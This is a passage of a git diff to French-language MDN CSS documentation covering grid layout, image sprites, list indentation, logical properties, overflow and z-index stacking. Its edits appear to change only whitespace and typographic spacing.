b/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.md @@ -14,7 +14,7 @@ Chaque méthode de disposition qui implémente cette nouvelle spécification se ## Les deux axes d'une grille -Lorsqu'on manipule une grille, on dispose de deux axes sur lesquels aligner les objets. L'axe de bloc et l'axe en ligne. L'axe de bloc est l'axe selon lequel les blocs sont disposés quand on a une disposition en bloc (_block layout_). Par exemple, si on a deux paragraphes sur une page, par défaut, ils s'affichent l'un en dessous de l'autre. +Lorsqu'on manipule une grille, on dispose de deux axes sur lesquels aligner les objets. L'axe de bloc et l'axe en ligne. L'axe de bloc est l'axe selon lequel les blocs sont disposés quand on a une disposition en bloc (_block layout_). Par exemple, si on a deux paragraphes sur une page, par défaut, ils s'affichent l'un en dessous de l'autre.  diff --git a/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.md b/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.md index 2bddcda1bb..19cbf7d487 100644 --- a/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.md +++ b/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.md @@ -206,7 +206,7 @@ Les requêtes de fonctionnalité ressemblent beaucoup aux [requêtes de média]( La prise en charge des requêtes de fonctionnalité par les différents navigateurs est excellente. Tous les navigateurs qui prennent en charge la nouvelle spécification pour les grilles CSS supportent aussi les requêtes de fonctionnalité. On peut donc les utiliser pour résoudre le problème précédent pour améliorer la disposition flottante. -On utilise donc `@supports` pour vérifier la prise en charge de `display: grid`;, ensuite on indique que {{HTMLElement("ul")}} est le conteneur de la grille, on définit la largeur et {{cssxref("min-height")}} avec `auto` pour les éléments {{HTMLElement("li")}}. On retire également les marges, les marges négatives et on remplace l'espacement avec la propriété {{cssxref("gap")}}. Cela signifie qu'il n'y aura pas de marge finale sur la dernière ligne de boîtes. La disposition fonctionne également désormais lorsqu'une carte possède plus de contenu qu'une autre. +On utilise donc `@supports` pour vérifier la prise en charge de `display: grid`;, ensuite on indique que {{HTMLElement("ul")}} est le conteneur de la grille, on définit la largeur et {{cssxref("min-height")}} avec `auto` pour les éléments {{HTMLElement("li")}}. On retire également les marges, les marges négatives et on remplace l'espacement avec la propriété {{cssxref("gap")}}. Cela signifie qu'il n'y aura pas de marge finale sur la dernière ligne de boîtes. La disposition fonctionne également désormais lorsqu'une carte possède plus de contenu qu'une autre. ```css hidden * {box-sizing: border-box;} diff --git a/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.md b/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.md index f22c645dc6..8290c60297 100644 --- a/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.md +++ b/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.md @@ -95,7 +95,7 @@ Si on reprend l'exemple avec la grille, on comprend mieux l'effet du changement ### Mode d'écriture par défaut -Dans le prochain exemple, la grille possède trois colonnes et deux lignes. Cela signifie qu'il y a trois pistes qui traversent l'axe de bloc. Avec le mode d'écriture par défaut, la grille commence par placer les objets en haut à gauche en remplissant les trois cellules sur la première ligne avant de passer à la suivante, en formant une nouvelle ligne, etc. +Dans le prochain exemple, la grille possède trois colonnes et deux lignes. Cela signifie qu'il y a trois pistes qui traversent l'axe de bloc. Avec le mode d'écriture par défaut, la grille commence par placer les objets en haut à gauche en remplissant les trois cellules sur la première ligne avant de passer à la suivante, en formant une nouvelle ligne, etc. ```css hidden * {box-sizing: border-box;} diff --git a/files/fr/web/css/css_grid_layout/grid_template_areas/index.md b/files/fr/web/css/css_grid_layout/grid_template_areas/index.md index aba4861212..faae69d8ab 100644 --- a/files/fr/web/css/css_grid_layout/grid_template_areas/index.md +++ b/files/fr/web/css/css_grid_layout/grid_template_areas/index.md @@ -87,9 +87,9 @@ Grâce à ces noms, on peut créer l'organisation. Cette fois, plutôt que de pl ```html <div class="wrapper"> <div class="header">En-tête</div> - <div class="sidebar">Barre latérale</div> - <div class="content">Contenu</div> - <div class="footer">Pied de page</div> + <div class="sidebar">Barre latérale</div> + <div class="content">Contenu</div> + <div class="footer">Pied de page</div> </div> ``` @@ -151,9 +151,9 @@ Dans l'exemple précédent, toute la grille est occupée… On peut également u ```html <div class="wrapper"> <div class="header">En-tête</div> - <div class="sidebar">Barre latérale</div> - <div class="content">Contenu</div> - <div class="footer">Pied de page</div> + <div class="sidebar">Barre latérale</div> + <div class="content">Contenu</div> + <div class="footer">Pied de page</div> </div> ``` @@ -217,9 +217,9 @@ La zone qu'on crée avec les noms doit être rectangulaires. Actuellement, il n' ```html hidden <div class="wrapper"> <div class="header">En-tête</div> - <div class="sidebar">Barre latérale</div> - <div class="content">Contenu</div> - <div class="footer">Pied de page</div> + <div class="sidebar">Barre latérale</div> + <div class="content">Contenu</div> + <div class="footer">Pied de page</div> </div> ``` @@ -305,9 +305,9 @@ On peut ensuite redéfinir la disposition à l'intérieur des différentes _medi ```html hidden <div class="wrapper"> <div class="header">En-tête</div> - <div class="sidebar">Barre latérale</div> - <div class="content">Contenu</div> - <div class="footer">Pied de page</div> + <div class="sidebar">Barre latérale</div> + <div class="content">Contenu</div> + <div class="footer">Pied de page</div> </div> ``` @@ -359,9 +359,9 @@ Pour la zone dédiée à l'image, on crée une zone de grille intitulée `img` e <div class="image"></div> <div class="text"> Dans cet exemple, on peut utiliser - grid-template-areas pour échanger les + grid-template-areas pour échanger les places du texte et du media. - </div> + </div> </div> ``` @@ -410,7 +410,7 @@ Si on a besoin d'afficher l'image d l'autre côté, il suffit de redéfinir une Dans cet exemple, on peut utiliser grid-template-areas pour échanger les places du texte et du media. - </div> + </div> </div> ``` diff --git a/files/fr/web/css/css_grid_layout/index.md b/files/fr/web/css/css_grid_layout/index.md index 44d108bb14..c12be3bbbc 100644 --- a/files/fr/web/css/css_grid_layout/index.md +++ b/files/fr/web/css/css_grid_layout/index.md @@ -16,7 +16,7 @@ Comme les tableaux, la grille permet d'aligner des éléments sous forme de colo ## Un exemple simple -Dans l'exemple qui suit, on montre comment utiliser une grille avec trois pistes en colonnes pour laquelle les nouvelles lignes créées mesureront au moins 100 pixels et auront au plus la taille automatique (définie par leur contenu). Les éléments sont placés sur la grille grâce aux numéros des lignes horizontales et verticales. +Dans l'exemple qui suit, on montre comment utiliser une grille avec trois pistes en colonnes pour laquelle les nouvelles lignes créées mesureront au moins 100 pixels et auront au plus la taille automatique (définie par leur contenu). Les éléments sont placés sur la grille grâce aux numéros des lignes horizontales et verticales. ```css hidden * {box-sizing: border-box;} diff --git a/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.md b/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.md index 645a3b0972..a4dcf27d56 100644 --- a/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.md +++ b/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.md @@ -135,7 +135,7 @@ On peut placer chacun des éléments individuellement et on peut également choi ## Les propriétés raccourcies `grid-column` et `grid-row` -On a écrit beaucoup de règles pour positionner chaque élément. Heureusement, il existe des propriétés raccourcies qui permettent d'avoir une syntaxe plus concise. Les propriétés {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}} peuvent être combinées pour former la propriété raccourcie {{cssxref("grid-column")}} et de la même façon, {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}} peuvent être synthétisées avec {{cssxref("grid-row")}}. +On a écrit beaucoup de règles pour positionner chaque élément. Heureusement, il existe des propriétés raccourcies qui permettent d'avoir une syntaxe plus concise. Les propriétés {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}} peuvent être combinées pour former la propriété raccourcie {{cssxref("grid-column")}} et de la même façon, {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}} peuvent être synthétisées avec {{cssxref("grid-row")}}. ```css hidden * {box-sizing: border-box;} diff --git a/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.md b/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.md index 8e870e90e8..6acffcf68d 100644 --- a/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.md +++ b/files/fr/web/css/css_images/implementing_image_sprites_in_css/index.md @@ -39,7 +39,7 @@ Une position peut être ajoutée avec les valeurs x et y après {{cssxref("url() } ``` -L'élément avec l'ID « btn1 » bouge vers la gauche de 20 pixels et l'élément avec l'ID « btn2 » vers la gauche de 40 pixels (en présumant que ces deux éléments aient aussi la classe `toolbtn`). +L'élément avec l'ID « btn1 » bouge vers la gauche de 20 pixels et l'élément avec l'ID « btn2 » vers la gauche de 40 pixels (en présumant que ces deux éléments aient aussi la classe `toolbtn`). De la même manière, vous pouvez faire un effet de transition au survol : diff --git a/files/fr/web/css/css_images/index.md b/files/fr/web/css/css_images/index.md index 5641ddd5f8..6fae47de3f 100644 --- a/files/fr/web/css/css_images/index.md +++ b/files/fr/web/css/css_images/index.md @@ -54,6 +54,6 @@ translation_of: Web/CSS/CSS_Images | {{SpecName("CSS4 Images")}} | {{Spec2("CSS4 Images")}} | Ajout de {{CSSxRef("image-resolution")}},{{CSSxRef("conic-gradient")}} et {{CSSxRef("_image", "image()")}}. | | {{SpecName("CSS3 Images")}} | {{Spec2("CSS3 Images")}} | Ajout de {{CSSxRef("image-orientation")}}, {{CSSxRef("image-rendering")}}, {{CSSxRef("object-fit")}} et {{CSSxRef("object-position")}} | | {{SpecName("Compat", "#css-%3Cimage%3E-type", "CSS Gradients")}} | {{Spec2("Compat")}} | Standardisation de la version préfixée avec `-webkit` pour les valeurs de fonctions de dégradé | -| {{SpecName("CSS3 Values", "#urls", "<url>")}} | {{Spec2("CSS3 Values")}} | | -| {{Specname("CSS2.1", "syndata.html#uri", "<uri>")}} | {{Spec2("CSS2.1")}} | | +| {{SpecName("CSS3 Values", "#urls", "<url>")}} | {{Spec2("CSS3 Values")}} | | +| {{Specname("CSS2.1", "syndata.html#uri", "<uri>")}} | {{Spec2("CSS2.1")}} | | | {{SpecName("CSS1", "#url", "<url>")}} | {{Spec2("CSS1")}} | Définition intiale. | diff --git a/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.md b/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.md index 80180ce972..960e22c062 100644 --- a/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.md +++ b/files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.md @@ -34,13 +34,13 @@ On ajoute maintenant les puces aux éléments de la liste. Puisqu'il s'agit d'un  -Visuellement, ces marqueurs apparaissent en dehors de la zone de contenu de l'élément `ul`, mais ce n'est pas ce qui est le plus important ici. Ce qui compte, c'est que ces marqueurs prennent place en dehors de la « boîte principale » des éléments `li`. Ils apparaissent comme des sortes d'appendices aux items de liste, qui se tiennent en dehors de la zone de contenu de chaque item, tout en étant attaché à chaque `li`. +Visuellement, ces marqueurs apparaissent en dehors de la zone de contenu de l'élément `ul`, mais ce n'est pas ce qui est le plus important ici. Ce qui compte, c'est que ces marqueurs prennent place en dehors de la « boîte principale » des éléments `li`. Ils apparaissent comme des sortes d'appendices aux items de liste, qui se tiennent en dehors de la zone de contenu de chaque item, tout en étant attaché à chaque `li`. -C'est pourquoi, dans tous les navigateurs sauf Internet Explorer Windows, les marqueurs sont placés à l'extérieur des bordures de l'élément `li`, dès lors que la propriété {{cssxref("list-style-position")}} vaut `outside`. Si cette valeur est changée en `inside`, les marqueurs seront alors déplacés à l'intérieur du contenu des éléments `li`, comme s'il s'agissait d'une boîte en ligne placée au tout début de ceux-ci. +C'est pourquoi, dans tous les navigateurs sauf Internet Explorer Windows, les marqueurs sont placés à l'extérieur des bordures de l'élément `li`, dès lors que la propriété {{cssxref("list-style-position")}} vaut `outside`. Si cette valeur est changée en `inside`, les marqueurs seront alors déplacés à l'intérieur du contenu des éléments `li`, comme s'il s'agissait d'une boîte en ligne placée au tout début de ceux-ci. ### Obtenir une double indentation -Comment cela va-t-il être rendu dans un document ? Pour le moment, nous avons un résultat équivalent à ces styles : +Comment cela va-t-il être rendu dans un document ? Pour le moment, nous avons un résultat équivalent à ces styles : ```css ul, li { @@ -53,8 +53,8 @@ Si nous plaçons cette liste en l'état dans un document, elle n'aura aucune ind Afin d'éviter ça et d'imposer une indentation, le navigateur pourra implémenter l'une des trois approches suivantes : -1. Doter chaque élément `li` d'une marge gauche ; -2. Doter chaque élément `ul` d'une marge gauche ; +1. Doter chaque élément `li` d'une marge gauche ; +2. Doter chaque élément `ul` d'une marge gauche ; 3. Doter chaque élément `ul` d'un padding gauche quelconque. Telles que les choses se sont faites, aucun navigateur ne semble avoir choisi la première solution. Internet Explorer pour Windows et Macintosh, ainsi qu'Opera, ont adopté la seconde solution. La troisième a été choisie par Gecko et donc par tous les navigateurs embarquant celui-ci. @@ -71,7 +71,7 @@ Comme nous pouvons le voir, les marqueurs restent attachés aux éléments `li`, ## Obtenir un rendu homogène -Après ces observations, nous obtenons la conclusion suivante : si on souhaite obtenir un rendu de liste homogène entre Gecko, Internet Explorer et Opera, il est nécessaire de spécifier _à la fois_ la marge gauche et le _padding_ gauche de l'élément `ul`. L'élément `li` peut être ignoré ici. Si vous voulez reproduire le rendu par défaut de Netscape 6.x, vous écrirez : +Après ces observations, nous obtenons la conclusion suivante : si on souhaite obtenir un rendu de liste homogène entre Gecko, Internet Explorer et Opera, il est nécessaire de spécifier _à la fois_ la marge gauche et le _padding_ gauche de l'élément `ul`. L'élément `li` peut être ignoré ici. Si vous voulez reproduire le rendu par défaut de Netscape 6.x, vous écrirez : ```css ul { @@ -80,7 +80,7 @@ ul { } ``` -Si vous préférez suivre le modèle Internet Explorer/Opera, vous écrirez alors : +Si vous préférez suivre le modèle Internet Explorer/Opera, vous écrirez alors : ```css ul { @@ -89,7 +89,7 @@ ul { } ``` -Naturellement, vous pouvez utiliser les valeurs de votre choix. Les fixer toutes deux à `1.25em` si vous en avez envie - il n'y a aucune raison de s'en tenir uniquement à des valeurs en pixels. Et si vous voulez obtenir des listes sans indentation, vous devrez alors, là encore, spécifier à la fois un _padding_ et une marge nuls : +Naturellement, vous pouvez utiliser les valeurs de votre choix. Les fixer toutes deux à `1.25em` si vous en avez envie - il n'y a aucune raison de s'en tenir uniquement à des valeurs en pixels. Et si vous voulez obtenir des listes sans indentation, vous devrez alors, là encore, spécifier à la fois un _padding_ et une marge nuls : ```css ul { diff --git a/files/fr/web/css/css_logical_properties/margins_borders_padding/index.md b/files/fr/web/css/css_logical_properties/margins_borders_padding/index.md index b8d49e34f8..7de0ca1f9f 100644 --- a/files/fr/web/css/css_logical_properties/margins_borders_padding/index.md +++ b/files/fr/web/css/css_logical_properties/margins_borders_padding/index.md @@ -71,7 +71,7 @@ De nouvelles propriétés raccourcies sont également apparues et permettent de ## Exemples de marges -Les quatre propriétés logiques {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}} et {{cssxref("margin-inline-end")}} peuvent être utilisées à la place des propriétés physiques habituelles afin de définir une marge. +Les quatre propriétés logiques {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}} et {{cssxref("margin-inline-end")}} peuvent être utilisées à la place des propriétés physiques habituelles afin de définir une marge. Dans l'exemple qui suit, on a créé deux boîtes et définit une marge différente pour chaque côté. On a aussi ajouté un conteneur supplémentaire avec une bordure afin de mieux visualiser la bordure. @@ -97,7 +97,7 @@ Avec un mode d'écriture horizontal, cette déclaration CSS appliquerait une mar ## Exemples pour le remplissage -Pour le remplissage, ce sont les propriétés logiques {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}} et {{cssxref("padding-inline-end")}} qui ont été ajoutées et qui peuvent être utilisées en lieu et place de leur équivalent physique. +Pour le remplissage, ce sont les propriétés logiques {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}} et {{cssxref("padding-inline-end")}} qui ont été ajoutées et qui peuvent être utilisées en lieu et place de leur équivalent physique. Dans l'exemple suivant, on dispose de deux boîtes, la première possède des remplissages définis avec des propriétés physiques et la seconde avec des propriétés logiques. En utilisant un mode d'écriture `horizontal-tb`, les deux boîtes auront la même apparence. diff --git a/files/fr/web/css/css_masking/index.md b/files/fr/web/css/css_masking/index.md index 6699d3a116..59a063413c 100644 --- a/files/fr/web/css/css_masking/index.md +++ b/files/fr/web/css/css_masking/index.md @@ -42,5 +42,5 @@ original_slug: Web/CSS/CSS_Masks | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName("CSS Masks")}} | {{Spec2("CSS Masks")}} | | +| {{SpecName("CSS Masks")}} | {{Spec2("CSS Masks")}} | | | {{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}} | {{Spec2('SVG1.1')}} | Définition initiale. | diff --git a/files/fr/web/css/css_overflow/index.md b/files/fr/web/css/css_overflow/index.md index 1bf9216960..7134252e2d 100644 --- a/files/fr/web/css/css_overflow/index.md +++ b/files/fr/web/css/css_overflow/index.md @@ -32,9 +32,9 @@ L'exempel interactif suivant illustre comment la modification de la valeur de la - {{CSSxRef("overflow-x")}} - {{CSSxRef("overflow-y")}} - {{CSSxRef("text-overflow")}} -- {{CSSxRef("block-overflow")}} {{experimental_inline}} -- {{CSSxRef("line-clamp")}} {{experimental_inline}} -- {{CSSxRef("max-lines")}} {{experimental_inline}} +- {{CSSxRef("block-overflow")}} {{experimental_inline}} +- {{CSSxRef("line-clamp")}} {{experimental_inline}} +- {{CSSxRef("max-lines")}} {{experimental_inline}} - {{CSSxRef("continue")}} {{experimental_inline}} ### Propriétés spécifiques diff --git a/files/fr/web/css/css_pages/index.md b/files/fr/web/css/css_pages/index.md index 52e54869af..b5404c6e1f 100644 --- a/files/fr/web/css/css_pages/index.md +++ b/files/fr/web/css/css_pages/index.md @@ -35,6 +35,6 @@ translation_of: Web/CSS/CSS_Pages | Spécification | État | Commentaires | | -------------------------------------------- | ---------------------------------------- | ------------ | -| {{SpecName('CSS3 Paged Media')}} | {{Spec2('CSS3 Paged Media')}} | | -| {{SpecName('CSS3 Fragmentation')}} | {{Spec2('CSS3 Fragmentation')}} | | -| {{SpecName('CSS2.1')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Paged Media')}} | {{Spec2('CSS3 Paged Media')}} | | +| {{SpecName('CSS3 Fragmentation')}} | {{Spec2('CSS3 Fragmentation')}} | | +| {{SpecName('CSS2.1')}} | {{Spec2('CSS2.1')}} | | diff --git a/files/fr/web/css/css_positioning/index.md b/files/fr/web/css/css_positioning/index.md index b4ca0b565a..4ebd5e5926 100644 --- a/files/fr/web/css/css_positioning/index.md +++ b/files/fr/web/css/css_positioning/index.md @@ -34,5 +34,5 @@ translation_of: Web/CSS/CSS_Positioning | Spécification | État | Commentaires | | ---------------------------------------------------- | ---------------------------------------- | ------------ | -| {{SpecName('CSS3 Positioning')}} | {{Spec2('CSS3 Positioning') }} | | -| {{SpecName('CSS2.1', 'visuren.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Positioning')}} | {{Spec2('CSS3 Positioning') }} | | +| {{SpecName('CSS2.1', 'visuren.html')}} | {{Spec2('CSS2.1')}} | | diff --git a/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.md b/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.md index 1526b9350c..7dbe95e542 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.md @@ -13,7 +13,7 @@ original_slug: Web/CSS/Comprendre_z-index/Ajout_de_z-index ## Ajouter `z-index` -Dans le premier exemple, [« empilement sans `z-index` »](/fr/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index), illustre comment l'empilement fonctionne par défaut. Pour définir un ordre d'empilement différent, il faut utiliser la propriété CSS {{cssxref("z-index")}}. +Dans le premier exemple, [« empilement sans `z-index` »](/fr/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index), illustre comment l'empilement fonctionne par défaut. Pour définir un ordre d'empilement différent, il faut utiliser la propriété CSS {{cssxref("z-index")}}. Cette propriété, dont l'attribut est une valeur entière (positive ou négative), représente la position de l'élément le long de l'axe Z. Pour se représenter cette notion, on peut imaginer que la page possède plusieurs couches, les unes au dessus des autres. Chaque couche est numérotée. Un couche avec une grande valeur de `z-index` est affichée par dessus toutes celles dont la valeur est inférieure à la sienne. @@ -36,7 +36,7 @@ Cette propriété, dont l'attribut est une valeur entière (positive ou négativ > - Lorsque la propriété `z-index` n'est pas définie, les éléments sont rendus sur la couche 0 par défaut. > - Si plusieurs éléments possède la même valeur de `z-index` (c'est-à-dire qu'ils sont placés sur la même couche), alors les règles d'empilement expliquées dans [empilement sans `z-index`](/fr/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index) s'appliquent. -Dans l'exemple qui suit, l'empilement des couches a été réordonné en utilisant `z-index`. Le `z-index` du bloc DIV#5 n'a pas d'effet, l'élément n'étant pas positionné. +Dans l'exemple qui suit, l'empilement des couches a été réordonné en utilisant `z-index`. Le `z-index` du bloc DIV#5 n'a pas d'effet, l'élément n'étant pas positionné. {{EmbedLiveSample("Code_source_de_l’exemple", '468', '365')}} diff --git a/files/fr/web/css/css_positioning/understanding_z_index/index.md b/files/fr/web/css/css_positioning/understanding_z_index/index.md index e60cd463a0..4e8f5ed861 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/index.md @@ -22,12 +22,12 @@ Cela signifie que les règles de style CSS permettent de positionner des boîtes Ces articles ont pour but d'expliquer ces règles, de proposer quelques simplifications et de nombreux exemples. -1. [L'empilement sans `z-index`](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index) : Règles d'empilement par défaut -2. [L'empilement et `float`](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_et_float) : Comportement des éléments flottants -3. [Ajouter `z-index`](/fr/docs/Web/CSS/Comprendre_z-index/Ajout_de_z-index) : Utiliser `z-index` pour modifier l'empilement par défaut -4. [L'empilement de couches](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches) : Remarques sur l'empilement de couches -5. [Exemple d'empilement n°1](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_1) : Hiérarchie HTML à 2 niveaux, `z-index` sur le dernier niveau -6. [Exemple d'empilement n°2](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_2) : Hiérarchie HTML à 2 niveaux, `z-index` sur tous les éléments -7. [Exemple d'empilement n°3](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_3) : Hiérarchie HTML à 3 niveaux, `z-index` sur le deuxième niveau +1. [L'empilement sans `z-index`](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index) : Règles d'empilement par défaut +2. [L'empilement et `float`](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_et_float) : Comportement des éléments flottants +3. [Ajouter `z-index`](/fr/docs/Web/CSS/Comprendre_z-index/Ajout_de_z-index) : Utiliser `z-index` pour modifier l'empilement par défaut +4. [L'empilement de couches](/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches) : Remarques sur l'empilement de couches +5. [Exemple d'empilement n°1](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_1) : Hiérarchie HTML à 2 niveaux, `z-index` sur le dernier niveau +6. [Exemple d'empilement n°2](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_2) : Hiérarchie HTML à 2 niveaux, `z-index` sur tous les éléments +7. [Exemple d'empilement n°3](/fr/docs/Web/CSS/Comprendre_z-index/Exemple_3) : Hiérarchie HTML à 3 niveaux, `z-index` sur le deuxième niveau {{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}} diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.md b/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.md index 964ea9c510..27b332db66 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.md @@ -11,21 +11,21 @@ original_slug: Web/CSS/Comprendre_z-index/Empilement_et_float Pour les blocs flottants, l'ordre d'empilement est légèrement différent. Les blocs flottants sont disposés entre les blocs non positionnés et les blocs positionnés. Voici l'ordre d'empilement : 1. L'arrière-plan et les bordures de l'élément racine du document -2. Les blocs qui descendent les uns des autres et qui sont situés dans le flux normal, dans l'ordre dans lequel ils apparaissent (pour HTML) ; -3. Les blocs flottants ; +2. Les blocs qui descendent les uns des autres et qui sont situés dans le flux normal, dans l'ordre dans lequel ils apparaissent (pour HTML) ; +3. Les blocs flottants ; 4. Les éléments enfants positionnés, dans leur ordre d'apparence (pour HTML). En fait, comme on le voit avec l'exemple ci-après, l'arrière-plan et la bordure du bloc non positionné (DIV n°4) ne sont pas impactés par les blocs flottants alors que le contenu est affecté. Il s'agit du comportement standard de la propriété CSS {{cssxref("float")}}. Ce comportement peut être expliqué en améliorant la liste précédente : -1. L'arrière-plan et les bordures de l'élément racine ; -2. Les blocs enfants dans le flux normal, dans leur ordre d'apparence (en HTML) ; -3. Les blocs flottants ; -4. Les éléments « en-ligne » enfants dans le flux normal ; +1. L'arrière-plan et les bordures de l'élément racine ; +2. Les blocs enfants dans le flux normal, dans leur ordre d'apparence (en HTML) ; +3. Les blocs flottants ; +4. Les éléments « en-ligne » enfants dans le flux normal ; 5. Les éléments enfants positionnés, dans leur ordre d'apparence (en HTML). -> **Note :** Dans l'exemple qui suit, tous les blocs sont transparents, excepté celui qui n'est pas positionné, montrant ainsi l'ordre d'empilement. Si l'on réduit l'opacité du bloc non positionné (DIV #4), il se produit quelque chose d'étrange : l'arrière-plan et la bordure de cet élément se placent par dessus les blocs flottants et les blocs positionnés. Il s'agit d'une interprétation particulière des spécifications CSS : l'application de l'opacité crée un nouveau contexte d'empilement (voir l'article : [What No One Told You About Z-Index](https://philipwalton.com/articles/what-no-one-told-you-about-z-index/) de Philip Walton ou son excellente traduction de Vincent De Oliveira, [Ce que personne ne vous a dit sur z-index](https://iamvdo.me/blog/comprendre-z-index-et-les-contextes-dempilement) et, bien-sûr, la [spécification](https://www.w3.org/TR/CSS2/zindex.html)). +> **Note :** Dans l'exemple qui suit, tous les blocs sont transparents, excepté celui qui n'est pas positionné, montrant ainsi l'ordre d'empilement. Si l'on réduit l'opacité du bloc non positionné (DIV #4), il se produit quelque chose d'étrange : l'arrière-plan et la bordure de cet élément se placent par dessus les blocs flottants et les blocs positionnés. Il s'agit d'une interprétation particulière des spécifications CSS : l'application de l'opacité crée un nouveau contexte d'empilement (voir l'article : [What No One Told You About Z-Index](https://philipwalton.com/articles/what-no-one-told-you-about-z-index/) de Philip Walton ou son excellente traduction de Vincent De Oliveira, [Ce que personne ne vous a dit sur z-index](https://iamvdo.me/blog/comprendre-z-index-et-les-contextes-dempilement) et, bien-sûr, la [spécification](https://www.w3.org/TR/CSS2/zindex.html)). {{EmbedLiveSample("Code_source_de_lexemple", 600, 250)}} diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.md b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.md index 2ba5b4585f..7c66e5d4e9 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.md @@ -16,19 +16,19 @@ Commençons par un exemple simple, dans le contexte d'empilement racine nous avo Le seul et unique contexte d'empilement est le contexte racine. Sans `z-index`, les éléments sont empilés dans leur ordre d'apparition dans le code HTML. - + Si on assigne au bloc _DIV #2_ une valeur de `z-index` positive (non nulle et non automatique), il est rendu par dessus tous les autres blocs. - + Si maintenant on assigne également au bloc _DIV #4_ une valeur de `z-index` positive, plus grande que celle du _DIV #2_, le bloc _DIV #4_ est rendu par dessus tous les autres, y compris par dessus le bloc _DIV #2_. - + Dans le dernier exemple, vous pouvez voir que les blocs _DIV #2_ et _DIV #4_ ne sont pas frères, parce qu'ils appartiennent à des parents différents dans la hiérarchie des éléments HTML. Néanmoins, l'empilement du bloc _DIV #4_, tout en respectant le bloc _DIV #2_, peut être contrôlé avec la propriété `z-index`. Il se fait que les éléments _DIV #1_ et _DIV #3_ n'ayant pas de `z-index` défini, ils ne créent pas de contexte d'empilement. Cela signifie que l'ensemble de leur contenu, y compris les blocs _DIV #2_ et _DIV #3_, appartient au contexte d'empilement de la racine. -Dans le contexte d'empilement, les blocs _DIV #1_ et _DIV #3_ sont simplement assimilés dans l'élément racine, et la hiérarchie résultante est la suivante : +Dans le contexte d'empilement, les blocs _DIV #1_ et _DIV #3_ sont simplement assimilés dans l'élément racine, et la hiérarchie résultante est la suivante : - Contexte d'empilement racine diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.md b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.md index 78b9dca877..c71f81e5bd 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.md @@ -16,11 +16,11 @@ Ce deuxième exemple est très simple, mais il est essentiel à la compréhensio {{ EmbedLiveSample('Exemple', '352', '270') }} -Vous pouvez voir que le bloc _DIV #2_ (z-index : 2) est au dessus du bloc _DIV #3_ (z-index : 1), parce qu'ils appartiennent tout les deux au même contexte d'empilement (celui de la racine), donc les valeurs de `z-index` régissent l'empilement des éléments. +Vous 